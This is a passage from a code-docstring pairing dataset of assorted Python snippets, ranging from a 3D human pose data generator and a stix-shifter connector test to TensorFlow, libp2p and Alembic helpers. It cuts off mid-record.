plt.imshow(generated_batch['normal_train_gtnormal'][i, :, :, 0], aspect='auto', cmap=plt.get_cmap('jet'))\n plt.show()\n\n generated_batch['normal_train_gtdepthre'][i, 15:239, 15:239] = dmap\n\n i = i + 1\n\n self.currentindex+=1\n if(self.currentindex == self.datanum-1):\n self._reset_filelist(datatype,sample_set)\n return generated_batch\n\n\n if datatype == 'realtest':\n while i < batch_size:\n name = self.filelist[self.currentindex]\n testimg = io.imread(name)\n testimg = scipy.misc.imresize(testimg, [self.insize[1], self.insize[1]], interp='bilinear').astype(np.float32)\n meanstd = load_lua(self.meanRgb_dir)\n for j in range(3):\n testimg[:, :, j] = np.clip(testimg[:, :, j].astype(np.float32) / 255.0, 0.0, 1.0)\n testimg[:, :, j] = testimg[:, :, j] - meanstd['mean'][j]\n testimg[:, :, j] = testimg[:, :, j] / meanstd['std'][j]\n generated_batch['train_img'][i] = cv2.resize(testimg, (self.insize[0], self.insize[1]), interpolation=cv2.INTER_NEAREST)\n i += 1\n self.currentindex += 1\n\n if self.show:\n plt.figure()\n plt.imshow(generated_batch['train_img'][0], aspect='auto', cmap=plt.get_cmap('jet'))\n plt.show()\n\n\n if(self.currentindex == self.datanum-1):\n self._reset_filelist('realtest','test')\n return generated_batch\n\n while i < batch_size:\n if datatype != 'detail_data' and datatype != 'up-3d':\n name = self.filelist[self.currentindex]\n cap = cv2.VideoCapture(name)\n length = int(cap.get(cv2.CAP_PROP_FRAME_COUNT))\n frameindex = random.randint(1, length)\n if(sample_set == 'test'):\n print('test file: ',name, 'frameindex: ', frameindex)\n cap.set(1, frameindex - 1)\n _, img_full = cap.read()\n try:\n img_full = cv2.cvtColor(img_full, cv2.COLOR_BGR2RGB)\n except:\n continue\n bodyinfo = sio.loadmat(name[0:-4] + '_info.mat')\n\n elif datatype == 'detail_data':\n name = self.filelist[self.currentindex]\n frameindex = name[-12:-8]\n name = '/home/sicong/detail_data/data/3/0235_rgb.png'\n try:\n img_full = io.imread(name)\n except:\n self.currentindex += 1\n continue\n\n elif datatype == 'up-3d':\n if sample_set == 'train':\n info_dir = self.train_dir + '/pose_prepared/91/500/up-p91/'\n seg_dir = self.train_dir + '/segment/up-s31/s31/'\n elif sample_set == 'valid':\n info_dir = self.valid_dir + '/pose_prepared/91/500/up-p91/'\n seg_dir = self.valid_dir + '/segment/up-s31/s31/'\n elif sample_set == 'test':\n info_dir = self.test_dir + '/pose_prepared/91/500/up-p91/'\n seg_dir = self.test_dir + '/segment/up-s31/s31/'\n\n name = self.filelist[self.currentindex]\n if(sample_set == 'test'):\n print('test file: ',name)\n frameindex = name[-15:-10]\n\n try:\n img_full = io.imread(name)\n except:\n self.currentindex +=1\n continue\n try:\n bodyinfo = sio.loadmat(info_dir + frameindex+ '_info.mat')\n except:\n self.currentindex += 1\n continue\n if self.show:\n img = Image.fromarray(img_full, 'RGB')\n img.show()\n\n if datatype != 'detail_data':\n if datatype != 'up-3d':\n if bodyinfo is None:\n self.currentindex += 1\n continue\n joints2dfull = bodyinfo['joints2D']\n if joints2dfull is None:\n self.currentindex += 1\n continue\n if len(joints2dfull.shape) < 3:\n self.currentindex += 1\n continue\n if frameindex - 1 >= joints2dfull.shape[2]:\n self.currentindex += 1\n continue\n joints2d = joints2dfull[:, self.joints_subset, frameindex - 1].astype(np.int64)\n\n joints3dfull = bodyinfo['joints3D']\n if joints3dfull is None:\n self.currentindex += 1\n continue\n if frameindex - 1 >= joints2dfull.shape[2]:\n self.currentindex += 1\n continue\n joints3d = joints3dfull[:, self.joints_subset, frameindex - 1]\n\n generated_batch['train_2djoints'][i,:] = joints2d\n generated_batch['train_3djoints'][i,:] = joints3d\n\n depth_full = sio.loadmat(name[0:-4] + '_depth.mat')['depth_' + str(frameindex)]\n elif datatype == 'up-3d':\n if bodyinfo is None:\n self.currentindex += 1\n continue\n joints2dfull = bodyinfo['joints2D']\n if joints2dfull is None:\n self.currentindex += 1\n continue\n if len(joints2dfull.shape) < 2:\n self.currentindex += 1\n continue\n joints2d = joints2dfull[:, self.joints_subset].astype(np.int64)\n joints3dfull = np.transpose(bodyinfo['joints3D'])\n if joints3dfull is None:\n self.currentindex += 1\n continue\n joints3d = joints3dfull[:, self.joints_subset]\n\n depth_full = sio.loadmat(info_dir + frameindex+ '_depth.mat')['depth']\n\n camLoc = bodyinfo['camLoc'][0]\n if datatype == 'up-3d':\n dPelvis = joints3d[2, 0]\n else:\n camlocation = camLoc\n joints3d[0, :] = camlocation - joints3d[0, :]\n dPelvis = joints3d[0, 0]\n\n if datatype != 'up-3d':\n segm_raw = sio.loadmat(name[0:-4] + '_segm.mat')['segm_'+str(frameindex)]\n\n segm_full = util.changeSegmIx(segm_raw,\n [2, 12, 9, 2, 13, 10, 2, 14, 11, 2, 14, 11, 2, 2, 2, 1, 6, 3, 7, 4, 8,\n 5, 8,\n 5]).astype(np.int8)\n\n else:\n segm_raw = cv2.imread(seg_dir+ frameindex + '_ann_vis.png')\n segm_full = util.up3dtosurreal(segm_raw)\n\n if self.show:\n plt.figure()\n plt.imshow(segm_full, aspect='auto', cmap=plt.get_cmap('jet'))\n plt.show()\n\n if datatype == 'up-3d':\n quantized_joints3d, _ = util.quantize(joints3d[2, :], dPelvis, self.stp_joint, self.Zres_joint)\n quantized_joints3d = quantized_joints3d * -1\n relative_depth, _ = util.relative_up3d(depth_full, dPelvis, self.stp, self.Zres)\n elif datatype != 'detail_data':\n quantized_joints3d, _ = util.quantize(joints3d[0, :], dPelvis, self.stp_joint, self.Zres_joint)\n quantized_joints3d = quantized_joints3d * -1\n relative_depth, _ = util.relative(depth_full,dPelvis, self.stp, self.Zres)\n\n if self.show:\n plt.figure()\n plt.imshow(depth_full, aspect='auto', cmap=plt.get_cmap('jet'))\n plt.show()\n if self.show:\n plt.figure()\n plt.imshow(relative_depth, aspect='auto', cmap=plt.get_cmap('jet'))\n plt.show()\n else:\n depth_full = io.imread(name[0:-8] + '_depth.png')\n depthcount = np.sum(depth_full > 100)\n if depthcount < 100 * 100:\n self.currentindex += 1\n continue\n\n if datatype != 'detail_data':\n rot = 0\n scale = util.getScale(joints2d)\n center = util.getCenter(joints2d)\n else:\n rot = 0\n scale = util.getScale_detail(depth_full)\n center = util.getCenter_detail(depth_full)\n\n if (center[0] < 1 or center[1] < 1 or center[1] > img_full.shape[0] or center[0] > img_full.shape[1]):\n self.currentindex +=1\n continue\n\n\n if datatype != 'up-3d' and datatype!= 'detail_data':\n img = util.cropfor3d(img_full, center, scale, rot, self.insize[1], 'bilinear')\n elif datatype == 'detail_data':\n img = util_detail.cropfor3d(img_full, center, scale, rot, self.insize[1], 'bilinear')\n elif datatype == 'up-3d':\n norm_factor = np.array([self.insize[1]/img_full.shape[1], self.insize[1]/img_full.shape[0]], dtype=np.float32)\n img = scipy.misc.imresize(img_full, [self.insize[1], self.insize[1]], interp= 'bilinear')\n badexample = False\n for j in range(joints2d.shape[1]):\n joints2d_rescaled = np.multiply(joints2d[:,j],norm_factor).astype(np.int64)\n if joints2d_rescaled[0] < 0 or joints2d_rescaled[0] > 256 or joints2d_rescaled[1] < 0 or joints2d_rescaled[1] > 256:\n badexample = True\n if badexample:\n self.currentindex += 1\n continue\n\n if img is None:\n self.currentindex+=1\n continue\n if (img.shape[0] == 0 or img.shape[1] == 0):\n self.currentindex+=1\n continue\n\n if self.show:\n imgnew = Image.fromarray(img, 'RGB')\n imgnew.show()\n\n img_bak = img\n img = img.astype(np.float32)\n if sample_set == 'train':\n for j in range(3):\n img[:, :, j] = np.clip(img[:, :, j].astype(np.float32) / 255 * np.random.uniform(0.6, 1.4), 0.0,\n 1.0)\n else:\n for j in range(3):\n img[:, :, j] = np.clip(img[:, :, j].astype(np.float32) / 255, 0.0, 1.0)\n\n meanstd = load_lua(self.meanRgb_dir)\n for j in range(3):\n img[:, :, j] = img[:, :, j] - meanstd['mean'][j]\n img[:, :, j] = img[:, :, j] / meanstd['std'][j]\n\n generated_batch['train_img'][i] = img\n\n if datatype == 'detail_data':\n depm_continue = util_detail.cropfor3d(depth_full,center,scale,rot,self.insize[1],'bilinear')\n\n if self.show:\n plt.figure()\n plt.imshow(depth_full, aspect='auto', cmap=plt.get_cmap('jet'))\n plt.show()\n\n if self.show:\n plt.figure()\n plt.imshow(depm_continue, aspect='auto', cmap=plt.get_cmap('jet'))\n plt.show()\n mask =depm_continue>100\n depm_continue[depm_continue < 100] = 15 * 1000.0\n final_depth = depm_continue/1000.0\n median_value =np.median(final_depth[final_depth<5])\n final_depth = final_depth - median_value + 0.10\n final_depth[final_depth>5] = 0.60\n generated_batch['train_gtdepthre'][i, :, :] = final_depth\n\n mask = ndimage.binary_erosion(mask).astype(mask.dtype)\n generated_batch['train_mask'][i,:,:] = mask\n\n elif datatype == 'up-3d':\n depm_continue = cv2.resize(relative_depth.astype(np.float32), (depthres, depthres), interpolation=cv2.INTER_NEAREST)\n generated_batch['train_gtdepthre'][i, :, :] = depm_continue\n mask = depm_continue<0.59\n\n mask = ndimage.binary_erosion(mask).astype(mask.dtype)\n generated_batch['train_mask'][i,:,:] = mask\n\n else:\n depm_continue = util.cropdepth(relative_depth,center,scale,rot,self.insize[1],0.60)\n generated_batch['train_gtdepthre'][i, :, :] = cv2.resize(depm_continue,(depthres, depthres),interpolation=cv2.INTER_NEAREST)\n mask = depm_continue<0.59\n\n mask = ndimage.binary_erosion(mask).astype(mask.dtype)\n generated_batch['train_mask'][i,:,:] = mask\n\n\n\n\n if self.show:\n plt.figure()\n plt.imshow(generated_batch['train_gtdepthre'][i, :, :], aspect='auto', cmap=plt.get_cmap('jet'))\n plt.show()\n\n\n\n if datatype == 'up-3d':\n segm = cv2.resize(segm_full, (seg_joint_res, seg_joint_res),\n interpolation=cv2.INTER_NEAREST)\n generated_batch['train_gtseg'][i,:,:] = segm\n\n elif datatype != 'detail_data':\n segm = util.cropfor3d(segm_full, center, scale, rot, self.insize[1],'nearest')\n generated_batch['train_gtseg'][i,:,:] = cv2.resize(segm, (seg_joint_res, seg_joint_res),\n interpolation=cv2.INTER_NEAREST)\n if self.show:\n plt.figure()\n plt.imshow(segm, aspect='auto', cmap=plt.get_cmap('jet'))\n plt.show()\n\n\n if datatype != 'detail_data':\n sigma_2d_inscale = math.floor(2 * self.insize[0]/self.outsize[0])\n out_2d = np.zeros([self.insize[0], self.insize[1], self.joints_num])\n\n for j in range(self.joints_num):\n if datatype == 'up-3d':\n pt = np.multiply(joints2d[:, j], norm_factor).astype(np.int64)\n else:\n pt = util.transform(joints2d[:, j], center, scale, 0, self.insize[0], False)\n heat_slice = util.Drawgaussian2D(img,pt,sigma_2d_inscale)\n\n out_2d[:, :, j] = heat_slice\n\n out_2d = cv2.resize(out_2d,(seg_joint_res,seg_joint_res),interpolation=cv2.INTER_NEAREST)\n generated_batch['train_gt2dheat'][i] = out_2d\n if self.show:\n visualizer.draw2dskeleton(img_bak.astype(np.uint8), out_2d)\n\n\n\n if datatype != 'detail_data':\n out = np.zeros([self.outsize[0], self.outsize[1], self.joints_num * self.Zres_joint])\n sigma_2d = 2\n size_z = 2 * math.floor((6* sigma_2d * self.Zres_joint / self.outsize[0] +1) / 2) + 1\n for j in range(self.joints_num):\n z = quantized_joints3d[j]\n if datatype == 'up-3d':\n pt = np.multiply(joints2d[:, j], norm_factor/4).astype(np.int64)\n else:\n pt = util.transform(joints2d[:, j], center, scale, 0, self.outsize[0], False)\n out[:,:,j * self.Zres_joint : (j+1) * self.Zres_joint] = util.Drawguassian3D(out[:,:,j * self.Zres_joint : (j+1) * self.Zres_joint], pt, z , sigma_2d, size_z)\n\n generated_batch['train_gtjoints'][i] = out\n if self.show:\n visualizer.draw3dskeleton(self.joints_num,self.Zres_joint,out)\n i = i+1\n self.currentindex +=1\n if(self.currentindex==self.datanum-1):\n self._reset_filelist(datatype,sample_set)\n\n\n return generated_batch\n\n\n\n\nif __name__ == '__main__':\n\n\n train_dir = '/media/sicong/a86d93af-1a2e-469b-972c-f819c47cd5ee/datasets'\n valid_dir = '/media/sicong/a86d93af-1a2e-469b-972c-f819c47cd5ee/datasets'\n test_dir = '/media/sicong/a86d93af-1a2e-469b-972c-f819c47cd5ee/datasets'\n\n\n\n\n bg_dir = '/local-scratch2/normal_dataset/bg_dataset'\n\n meanRgb_dir = '/home/sicong/surreal/meanRgb.t7'\n generator = DataGenerator(train_dir, valid_dir, test_dir, bg_dir , meanRgb_dir, True, True)\n print('reset start!')\n generator._reset_filelist('up-3d', 'train')\n print('reset done! ', generator.datanum , ' files in dataset')\n for i in range(1):\n generator._aux_generator(1, 'train', 'up-3d', 256)", "nl": " Auxiliary GeneratorArgs:See Args section in self._generator"} {"code": "def test_result_response(self, mock_result_response):\n mocked_return_value = json.dumps({\"reply\": {\"status\": \"SUCCESS\",\n \"number_of_results\": 1,\n \"results\": {\"data\": [{\"dataset_name\": \"xdr_data\",\n 'action_local_ip': '', 'action_remote_ip': '',\n 'agent_ip_addresses_v6': None,\n 'dst_agent_ip_addresses_v6': None,\n 'action_local_port': 0,\n 'action_remote_port': 0,\n 'action_pkts_sent': None,\n 'action_pkts_received': None,\n 'action_network_protocol': \"NULL\",\n 'actor_process_image_name': \"lsass.exe\"}]}}})\n mock_result_response.return_value = StatusResponse(200, mocked_return_value)\n search_id = \"62428d95420f47_24655_inv\"\n transmission = stix_transmission.StixTransmission('paloalto', self.connection(), self.configuration())\n offset = 0\n length = 3\n result_response = transmission.results(search_id, offset, length)\n assert result_response is not None\n assert result_response['success'] is True\n assert 'data' in result_response\n assert result_response['data'] == [{'xdr_data': {'actor_process_image_name': 'lsass.exe'}}]\n", "nl": "test for valid result responsemocked_return_value = json.dumps({\"reply\": {\"status\": \"SUCCESS\",\"number_of_results\": 1,\"results\": {\"data\": [{\"dataset_name\": \"xdr_data\",\"causality_actor_process_image_name\":\"taskhostw.exe\"}]}}})mock_result_response.return_value = StatusResponse(200, mocked_return_value)search_id = \"e1d1b56ca81845_15180_inv\"transmission = stix_transmission.StixTransmission('paloalto', self.connection(), self.configuration())offset = 0length = 3result_response = transmission.results(search_id, offset, length)assert result_response is not Noneassert result_response['success'] is Trueassert 'data' in result_responseassert result_response['data'] == [{'xdr_data': {'causality_actor_process_image_name': 'taskhostw.exe'}}]@patch('stix_shifter_modules.paloalto.stix_transmission.api_client.APIClient.get_search_results')def test_result_with_empty_nt_response(self, mock_result_response):test for valid result response"} {"code": "def shown_cluster_ids(self):\n sc = self.cluster_view.state\n ss = self.similarity_view.state\n return Bunch({'cluster_view': Bunch(sc), 'similarity_view': Bunch(ss)})\n", "nl": "The sorted list of cluster ids as they are currently shown in the cluster view.b = Barrier()self.cluster_view.get_ids(callback=b(1))b.wait()return b.result(1)[0][0]@propertydef state(self):GUI state, with the cluster view and similarity view states."} {"code": "def stop_container(self, container_name: str, timeout: int = None):\n pass\n\n @abstractmethod", "nl": "Stops container with given name:param container_name: Container identifier (name or id) of the container to be stopped:param timeout: Timeout after which SIGKILL is sent to the container.If not specified, defaults to `STOP_TIMEOUT`"} {"code": "def select_all_components(activity, include_deleted=False):\n components = []\n found = set()\n for Type in ALL_TYPE_CLASSES:\n if include_deleted:\n comps = list(Type.Component.objects.filter(activity_id=activity.id))\n else:\n comps = list(Type.Component.objects.filter(activity_id=activity.id, deleted=False))\n components.extend( (c for c in comps if c.id not in found) )\n found.update( (c.id for c in comps) )\n\n components.sort()\n return components\n\n", "nl": "Return all components for this activity as their most specific class."} {"code": "def to_dict(self):\n return pprint.pformat(self.to_dict())\n", "nl": "Returns the model properties as a dictresult = {}for attr, _ in six.iteritems(self.openapi_types):value = getattr(self, attr)if isinstance(value, list):result[attr] = list(map(lambda x: x.to_dict() if hasattr(x, \"to_dict\") else x,value))elif hasattr(value, \"to_dict\"):result[attr] = value.to_dict()elif isinstance(value, dict):result[attr] = dict(map(lambda item: (item[0], item[1].to_dict())if hasattr(item[1], \"to_dict\") else item,value.items()))else:result[attr] = valuereturn resultdef to_str(self):Returns the string representation of the model"} {"code": "def from_xml_node(cls, xml_node):\n name = get_xml_text_value(xml_node, xml_tags.Elements.NAME)\n model = get_xml_text_value(xml_node, xml_tags.Elements.MODEL)\n num_id = get_xml_int_value(xml_node, xml_tags.Elements.ID)\n domain_id = get_xml_int_value(xml_node, xml_tags.Elements.DOMAIN_ID)\n domain_name = get_xml_text_value(xml_node, xml_tags.Elements.DOMAIN_NAME)\n vendor = get_xml_text_value(xml_node, xml_tags.Elements.VENDOR)\n topology = get_xml_text_value(xml_node, xml_tags.Elements.TOPOLOGY)\n offline = get_xml_text_value(xml_node, xml_tags.Elements.OFFLINE)\n ip = get_xml_text_value(xml_node, xml_tags.Elements.IP)\n parent_id = get_xml_int_value(xml_node, xml_tags.Elements.PARENT_ID)\n return cls(model, vendor, domain_id, domain_name, num_id, name, offline, topology, ip, parent_id=parent_id)\n\n @classmethod", "nl": "Initialize the object from a XML node.:param xml_node: The XML node from which all necessary parameters will be parsed.:type xml_node: xml.etree.Element"} {"code": "def cleanup(self):\n utils_sriov.set_vf(self.pf_pci_path, 0)\n self.del_ovs_br()\n self.unload_modules()\n LOG.debug(\"vDPA environment recover successfully.\")\n\n\nclass VDPASimulatorTest(object):\n", "nl": "Clean up vDPA environment"} {"code": "def dropDepends(self, target):\n return self.stub.DropDepends(job_pb2.JobDropDependsRequest(job=self.data, target=target),\n timeout=Cuebot.Timeout)\n", "nl": "Drops the desired dependency target.:type target: depend_pb2.DependTarget:param target: the desired dependency target to drop"} {"code": "def _get_project_base(config):\n root_dir = _get_package_root_dir(config)\n script_location = config.get_main_option('script_location')\n part1, part2 = script_location.split(':')\n parts = part1.split('.') + part2.split('.') + ['versions']\n return os.path.join(root_dir, *parts)\n\n", "nl": "Return the base python namespace name for a project.script_location = config.get_main_option('script_location')return script_location.split(':')[0].split('.')[0]def _get_package_root_dir(config):root_module = importutils.try_import(_get_project_base(config))if not root_module:project = config.get_main_option('neutron_project')log_error(_(\"Failed to locate source for %s.\") % project)# The root_module.__file__ property is a path like# '/opt/stack/networking-foo/networking_foo/__init__.py'# We return just# '/opt/stack/networking-foo'return os.path.dirname(os.path.dirname(root_module.__file__))def _get_root_versions_dir(config):Return root directory that contains all migration rules."} {"code": "def commit(self) -> None:\n Open a file in the staging file system, lazily copying it from the source file\n system if the file exists on the source but not yet in memory.\n \"\"\"", "nl": "Commit the in-memory staging file system to the destinationif not self.dry_run:return fs.copy.copy_fs(self.stg_fs, self.src_fs)def makedirs(self, dirname: str):return self.render_fs.makedirs(dirname)def exists(self, name: str):return self.render_fs.exists(name)def isdir(self, name: str):return self.render_fs.isdir(name)def open(self, path: str, mode: str = \"r\") -> _IOBase:"} {"code": "def addChildren(self, children: List['FileSystemItem[T]']):\n for child in children:\n self.add(child)\n\n @overload", "nl": "Add a list of children.Parameters----------children : List[FileSystemItem]The children to add."} {"code": "def randombytes_close():\n nacl.randombytes_close()\n\n", "nl": "Close the file descriptor or the handle for the cryptographic serviceprovider"} {"code": "def test_envelope_routed(self):\n Test message ordering.\n\n Test that the order of envelope is the guaranteed to be the same\n when communicating between two peers.\n \"\"\"", "nl": "Test envelope routed.addr_1 = self.connection1.node.addressaddr_2 = self.connection2.node.addressmsg = DefaultMessage(dialogue_reference=(\"\", \"\"),message_id=1,target=0,performative=DefaultMessage.Performative.BYTES,content=b\"hello\",)envelope = Envelope(to=addr_2, sender=addr_1, message=msg,)# make the receive to failwith mock.patch.object(self.connection2.logger, \"exception\") as _mock_logger, mock.patch.object(self.connection2.node.pipe, \"read\", side_effect=Exception(\"some error\")):self.multiplexer1.put(envelope)delivered_envelope = self.multiplexer2.get(block=True, timeout=20)_mock_logger.assert_has_calls([call(\"Failed to read. Exception: some error. Try reconnect to node and read again.\")])assert delivered_envelope is not Noneassert delivered_envelope.to == envelope.toassert delivered_envelope.sender == envelope.senderassert (delivered_envelope.protocol_specification_id== envelope.protocol_specification_id)assert delivered_envelope.message != envelope.messagemsg = DefaultMessage.serializer.decode(delivered_envelope.message)msg.to = delivered_envelope.tomsg.sender = delivered_envelope.senderassert envelope.message == msg@libp2p_log_on_failure_allclass TestLibp2pEnvelopeOrder(BaseTestP2PLibp2p):"} {"code": "def train(self, obs_trajs, acs_trajs, rews_trajs):\n if self.model.is_tf_model:\n new_train_in, new_train_targs = [], []\n for obs, acs in zip(obs_trajs, acs_trajs):\n new_train_in.append(np.concatenate([self.obs_preproc(obs[:-1]), acs], axis=-1))\n new_train_targs.append(self.targ_proc(obs[:-1], obs[1:]))\n self.train_in = np.concatenate([self.train_in] + new_train_in, axis=0)\n self.train_targs = np.concatenate([self.train_targs] + new_train_targs, axis=0)\n\n self.model_train_cfg['misc'] = self._params.mb_cfg\n self.model.train(self.train_in, self.train_targs, **self.model_train_cfg)\n\n if self.optimizer.train_policy_network() and self.has_been_trained:\n self.optimizer.train(obs_trajs, acs_trajs, rews_trajs)\n\n self.has_been_trained = True\n", "nl": "Trains the internal model of this controller. Once trained,this controller switches from applying random actions to using MPC.Arguments:obs_trajs: A list of observation matrices, observations in rows.acs_trajs: A list of action matrices, actions in rows.rews_trajs: A list of reward arrays.Returns: None."} {"code": "def set_fan_mode(self, fan_mode):\n if self._control_device(\"modeSet\", {\"value\": operation_mode}):\n self._update_data(\"mode\", operation_mode)\n", "nl": "Set new target fan mode.if self._control_device(\"windSpeedSet\", {\"value\": fan_mode}):fanList = self.fan_list()if fan_mode in fanList:val = str(fanList.index(fan_mode) + 1)else:val = fan_modeself._update_data(\"windspeed\", val)def set_operation_mode(self, operation_mode):Set new target operation mode."} {"code": "def apply_average_nbest(cfg, nbest=3):\n new_cfg = copy.deepcopy(cfg)\n search_space = new_cfg['models']['MultimodalTextModel']['search_space']\n search_space['model.use_avg_nbest'] = True\n search_space['optimization.nbest'] = nbest\n return new_cfg\n\n", "nl": "Apply the average checkpoint trick to the basic configuration.Parameters----------cfgThe basic configurationnbestThe number of best checkpoints to averageReturns-------new_cfgThe new configuration"} {"code": "def read_decimalnl_short(f):\n\n s = read_stringnl(f, decode=False, stripquotes=False)\n\n if s == b\"00\":\n return False\n elif s == b\"01\":\n return True\n\n return int(s)\n", "nl": "r>>> import io>>> read_decimalnl_short(io.BytesIO(b\"1234\\n56\"))1234>>> read_decimalnl_short(io.BytesIO(b\"1234L\\n56\"))Traceback (most recent call last):...ValueError: invalid literal for int() with base 10: b'1234L'"} {"code": "def create_clones(config, model_fn, args=None, kwargs=None):\n clones = []\n args = args or []\n kwargs = kwargs or {}\n with slim.arg_scope([slim.model_variable, slim.variable],\n device=config.variables_device()):\n for i in range(0, config.num_clones):\n with tf.name_scope(config.clone_scope(i)) as clone_scope:\n clone_device = config.clone_device(i)\n with tf.device(clone_device):\n with tf.variable_scope(tf.get_variable_scope(),\n reuse=True if i > 0 else None):\n outputs = model_fn(*args, **kwargs)\n clones.append(Clone(outputs, clone_scope, clone_device))\n return clones\n\n", "nl": "Creates multiple clones according to config using a `model_fn`.The returned values of `model_fn(*args, **kwargs)` are collected along withthe scope and device used to created it in a namedtuple`Clone(outputs, scope, device)`Note: it is assumed that any loss created by `model_fn` is collected atthe tf.GraphKeys.LOSSES collection.To recover the losses, summaries or update_ops created by the clone use:```pythonlosses = tf.get_collection(tf.GraphKeys.LOSSES, clone.scope)summaries = tf.get_collection(tf.GraphKeys.SUMMARIES, clone.scope)update_ops = tf.get_collection(tf.GraphKeys.UPDATE_OPS, clone.scope)```The deployment options are specified by the config object and supportdeploying one or several clones on different GPUs and one or several replicasof such clones.The argument `model_fn` is called `config.num_clones` times to create themodel clones as `model_fn(*args, **kwargs)`.If `config` specifies deployment on multiple replicas then the defaulttensorflow device is set appropriatly for each call to `model_fn` and for theslim variable creation functions: model and global variables will be createdon the `ps` device, the clone operations will be on the `worker` device.Args:config: A DeploymentConfig object.model_fn: A callable. Called as `model_fn(*args, **kwargs)`args: Optional list of arguments to pass to `model_fn`.kwargs: Optional list of keyword arguments to pass to `model_fn`.Returns:A list of namedtuples `Clone`."} {"code": "def roundrobin(*iterables):\n pending = len(iterables)\n nexts = cycle(iter(it).__next__ for it in iterables)\n while pending:\n try:\n for next in nexts:\n yield next()\n except StopIteration:\n pending -= 1\n nexts = cycle(islice(nexts, pending))\n", "nl": "roundrobin('ABC', 'D', 'EF') --> A D E B F Chttps://docs.python.org/3.1/library/itertools.html#recipesRecipe credited to George Sakkis"} {"code": "def loader() -> ConfigLoader:\n with cd(self._get_cwd()):\n agent_loader = self.loader()\n path = Path(DEFAULT_AEA_CONFIG_FILE)\n with path.open(mode=\"r\", encoding=\"utf-8\") as fp:\n agent_config = agent_loader.load(fp)\n return agent_config\n", "nl": "Return Agent config loader.return ConfigLoader.from_configuration_type(PackageType.AGENT)def load_config(self) -> AgentConfig:Load AgentConfig from current directory."} {"code": "def stop(self, context):\n self._registration.unregister()\n self._registration = None\n\n\n\n\nclass _LoggerHandlerFactory(ipopo_constants.HandlerFactory):\n \"\"\"\n", "nl": "Bundle stopped"} {"code": "def output(self):\n Prepare the sequence of name, value tuples into a form suitable for\n transmitting on the wire for HTTP.\n \"\"\"", "nl": "Transform self into a list of (name, value) tuples.return list(self.encode_header_items(self.items()))@classmethoddef encode_header_items(cls, header_items):"} {"code": "def on_episode_start(self):\n height = self.camera.height\n width = self.camera.width\n\n if self.modality == 'rgb':\n shape = (height, width, 3)\n return gym.spaces.Box(0, 255, shape, dtype=np.uint8)\n elif self.modality == 'depth':\n shape = (height, width, 1)\n return gym.spaces.Box(0.0, self.max_visible_distance_m, shape,\n dtype=np.float32)\n elif self.modality == 'segmask':\n shape = (height, width, 1)\n return gym.spaces.Box(0, int(INF), shape, dtype=np.uint32)\n else:\n raise ValueError('Unrecognized modality: %r.' % (self.modality))\n", "nl": "Called at the start of each episode.self.camera.reset()def get_gym_space(self):Returns gym space of this observation."} {"code": "def moveTo(self, destination, followLinks=True):\n try:\n os.rename(self._getPathAsSameTypeAs(destination.path),\n destination.path)\n except OSError as ose:\n if ose.errno == errno.EXDEV:\n\n\n secsib = destination.temporarySibling()\n self.copyTo(secsib, followLinks)\n secsib.moveTo(destination, followLinks)\n\n mysecsib = self.temporarySibling()\n self.moveTo(mysecsib, followLinks)\n mysecsib.remove()\n else:\n raise\n else:\n self.changed()\n destination.changed()\n\n", "nl": "Move self to destination - basically renaming self to whateverdestination is named.If destination is an already-existing directory,moves all children to destination if destination is empty. Ifdestination is a non-empty directory, or destination is a file, anOSError will be raised.If moving between filesystems, self needs to be copied, and everythingthat applies to copyTo applies to moveTo.@param destination: the destination (a FilePath) to which selfshould be copied@param followLinks: whether symlinks in self should be treated as linksor as their targets (only applicable when moving betweenfilesystems)"} {"code": "def _enas_cell(self, x, curr_cell, prev_cell, op_id, out_filters):\n\n with tf.variable_scope(\"conv_{0}x{0}\".format(filter_size)):\n num_possible_inputs = curr_cell + 2\n for conv_id in range(stack_conv):\n with tf.variable_scope(\"stack_{0}\".format(conv_id)):\n inp_c = self._get_C(x)\n w_depthwise = create_weight(\n \"w_depth\", [num_possible_inputs, filter_size * filter_size * inp_c])\n w_depthwise = w_depthwise[prev_cell, :]\n w_depthwise = tf.reshape(\n w_depthwise, [filter_size, filter_size, inp_c, 1])\n\n w_pointwise = create_weight(\n \"w_point\", [num_possible_inputs, inp_c * out_filters])\n w_pointwise = w_pointwise[prev_cell, :]\n w_pointwise = tf.reshape(w_pointwise, [1, 1, inp_c, out_filters])\n\n with tf.variable_scope(\"bn\"):\n zero_init = tf.initializers.zeros(dtype=tf.float32)\n one_init = tf.initializers.ones(dtype=tf.float32)\n offset = create_weight(\n \"offset\", [num_possible_inputs, out_filters],\n initializer=zero_init)\n scale = create_weight(\n \"scale\", [num_possible_inputs, out_filters],\n initializer=one_init)\n offset = offset[prev_cell]\n scale = scale[prev_cell]\n\n x = tf.nn.relu(x)\n x = tf.nn.separable_conv2d(\n x,\n depthwise_filter=w_depthwise,\n pointwise_filter=w_pointwise,\n strides=[1, 1, 1, 1], padding=\"SAME\",\n data_format=self.data_format)\n x, _, _ = tf.nn.fused_batch_norm(\n x, scale, offset, epsilon=1e-5, data_format=self.data_format,\n is_training=True)\n return x\n", "nl": "Performs an enas operation specified by op_id.num_possible_inputs = curr_cell + 1with tf.variable_scope(\"avg_pool\"):avg_pool = tf.layers.average_pooling2d(x, [3, 3], [1, 1], \"SAME\", data_format=self.actual_data_format)avg_pool_c = self._get_C(avg_pool)if avg_pool_c != out_filters:with tf.variable_scope(\"conv\"):w = create_weight(\"w\", [num_possible_inputs, avg_pool_c * out_filters])w = w[prev_cell]w = tf.reshape(w, [1, 1, avg_pool_c, out_filters])avg_pool = tf.nn.relu(avg_pool)avg_pool = tf.nn.conv2d(avg_pool, w, strides=[1, 1, 1, 1],padding=\"SAME\", data_format=self.data_format)avg_pool = batch_norm(avg_pool, is_training=True,data_format=self.data_format)with tf.variable_scope(\"max_pool\"):max_pool = tf.layers.max_pooling2d(x, [3, 3], [1, 1], \"SAME\", data_format=self.actual_data_format)max_pool_c = self._get_C(max_pool)if max_pool_c != out_filters:with tf.variable_scope(\"conv\"):w = create_weight(\"w\", [num_possible_inputs, max_pool_c * out_filters])w = w[prev_cell]w = tf.reshape(w, [1, 1, max_pool_c, out_filters])max_pool = tf.nn.relu(max_pool)max_pool = tf.nn.conv2d(max_pool, w, strides=[1, 1, 1, 1],padding=\"SAME\", data_format=self.data_format)max_pool = batch_norm(max_pool, is_training=True,data_format=self.data_format)x_c = self._get_C(x)if x_c != out_filters:with tf.variable_scope(\"x_conv\"):w = create_weight(\"w\", [num_possible_inputs, x_c * out_filters])w = w[prev_cell]w = tf.reshape(w, [1, 1, x_c, out_filters])x = tf.nn.relu(x)x = tf.nn.conv2d(x, w, strides=[1, 1, 